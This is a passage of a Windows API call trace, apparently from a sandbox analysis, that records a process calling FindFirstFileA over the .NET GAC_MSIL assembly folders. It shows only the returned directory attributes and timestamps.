ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.674] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing.Design\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4a07920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4a07920, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4a07920, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.674] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing.Design\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4a07920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6793b320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6793b320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.677] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x932cb680, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x932cb680, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x932cb680, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.677] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x932a5520, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62389b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62389b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.679] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic.Runtime\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.680] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic.Runtime\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x623d5de0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x623d5de0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.682] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Globalization\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9dc6500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9dc6500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.683] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Globalization\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x623fbf40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x623fbf40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.685] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9415fd40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9415fd40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9415fd40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.686] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9415fd40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6265d540, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6265d540, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.689] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x941ac000, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x941ac000, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x941ac000, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.690] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x941ac000, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6271bc20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6271bc20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.692] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel.Services\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ed0ea0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9ed0ea0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9ed0ea0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.693] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel.Services\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ed0ea0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6278e040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6278e040, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.696] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9dc6500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9dc6500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.697] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x62800460, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62800460, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.700] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e84be0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e84be0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.700] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x67e4a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67e4a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.703] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression.FileSystem\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e84be0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e84be0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.704] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression.FileSystem\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x67ebc600, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67ebc600, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.718] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Log\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x941d2160, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x941d2160, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x941d2160, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.719] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Log\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x941d2160, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62872880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62872880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.722] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Linq\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9dc6500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9dc6500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.723] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Linq\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x628beb40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x628beb40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.726] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Linq.Expressions\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9dc6500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9dc6500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.727] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Linq.Expressions\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x62930f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62930f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.729] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Linq.Parallel\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9dc6500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9dc6500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.730] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Linq.Parallel\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x629a3380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x629a3380, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.733] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Linq.Queryable\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9dc6500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9dc6500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.733] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Linq.Queryable\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x629ef640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x629ef640, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.736] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x938006a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x938006a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x938006a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.736] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x937da540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x68085680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x68085680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.739] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Instrumentation\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93c2ad20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93c2ad20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93c2ad20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.740] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Instrumentation\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93c04bc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62aadd20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62aadd20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.982] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Messaging\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9440d600, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9440d600, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9440d600, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.983] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Messaging\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9440d600, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x680d1940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x680d1940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0134.012] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Net\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93c50e80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93c50e80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93c50e80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0134.013] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Net\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93c50e80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62b20140, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62b20140, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0134.055] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Net.Http\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e5ea80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e5ea80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e5ea80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0134.056] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Net.Http\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e5ea80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6811dc00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6811dc00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0134.059] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Net.Http.Rtc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e38920, 